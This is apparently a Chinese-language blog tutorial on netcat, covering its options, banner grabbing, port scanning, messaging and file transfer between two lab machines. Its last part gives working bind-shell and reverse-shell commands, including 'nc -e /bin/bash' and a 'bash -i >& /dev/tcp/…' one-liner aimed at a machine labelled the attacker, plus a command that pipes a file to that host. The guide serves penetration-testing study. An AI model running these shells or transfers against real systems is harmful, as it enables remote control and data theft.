易混淆的概念
nc是netcat
ncat是nmap下的组件,号称是nc的增强版
nc到底要用哪个?
通过下面命令进行设置
sudo update-alternatives --config nc

主要功能
telnet / 获取系统 banner 信息
传输文本信息
传输文件和目录
加密传输文件
端口扫描
远程控制 / 正方向 shell
流媒体服务器
远程克隆硬盘
命令相关参数
常用的几种加粗显示了
-g 设置路由器跃程通信网关,最多可设置8个。
-G 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
获取系统 banner 信息
这里以我的网站为例,先获取ip地址
ping www.iculture.cc

然后使用netcat来抓取banner信息
nc 39.106.66.45 443
head
可以看到扫出来的web服务器是nginx

端口扫描
进行端口扫描(这里以扫描192.168.137.131的1-65535端口为例)
nc -nvz 192.168.137.131 1-65535

用nmap进行端口扫描
nmap -p 1-65535 192.168.137.131

对比二者,发现前者速度还是比较慢的,而且如果没有扫到开放的端口是没有回复就跳到下一行了。
我们这里端口没有打开,我们需要设置将192.168.137.131的端口打开
开启端口的方法
这里使用ufw,先安装ufw
sudo apt-get install ufw

然后开放80端口
sudo ufw allow 80

开启防火墙
ufw enable
然后扫描端口,进行测试
nmap -p 1-65535 192.168.137.131

然后这边用nc真的是奇卡无比,扫100个端口,扫了半天还没反应
nc -nvz 192.168.137.131 1-100
最后还是放弃了,直接扫80端口
nc -nvz 192.168.137.131 80

除了可以扫描内网的ip,也可以扫描外网的
这里以网易邮箱为例,先ping出地址
ping pop3.163.com
这里可以看到110端口是开放的
nc -vn 123.126.97.79 110

消息传输
第一台机器,监听8888端口并等待连接
nc -l 8888

另一台机器,连接上一台机器的8888端口
nc 192.168.137.131 8888
连接上,输入test进行测试

我们会发现第一台机器也能收到test

反弹shell
反弹shell介绍
A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the attacker’s host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack. Reverse shells can also work across a NAT or firewall.
什么是反弹shell?本质上是网络概念的客户端与服务端的角色反转。
为什么需要反弹shell?反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。
正向shell
第一台机器(服务器)
nc -l -p 6996 -e /bin/bash
第二台机器(攻击机)
nc 192.168.137.131 6996
输入
whoami
这里会惊奇的发现,我们已经是另一台机器的root账户了,这里说明shell已经连接成功了。

输入
ip a
这里可以看到实际上我已经是在第一台机器的kali系统里了

后面的操作就可以利用
反弹shell
第二台机器(攻击机)
nc -lvvp 8888


第一台机器(服务器)
nc -e /bin/bash 192.168.137.128 8888

bash反弹shell
第二台机器(攻击机)
nc -lvvp 8888
第一台机器(服务器)
bash -i >& /dev/tcp/192.168.137.128/8888 0>&1
紧接着发现,已经切到kali这边了,可以输入命令行了
文件传输
为了验证,文件成功传输,这里先用第二台机器检验无test.txt文件
cat test.txt

然后第二台(攻击机)机器输入
nc -l -p 8888 > test.txt

然后第一台机器输入(服务器)
cat 'test.txt' | nc 192.168.137.128 8888
发现换行了,连接中断了,这里再用第二台机器输入

发现文件已经从第一台机器传过来了。
- 最新
- 最热
只看作者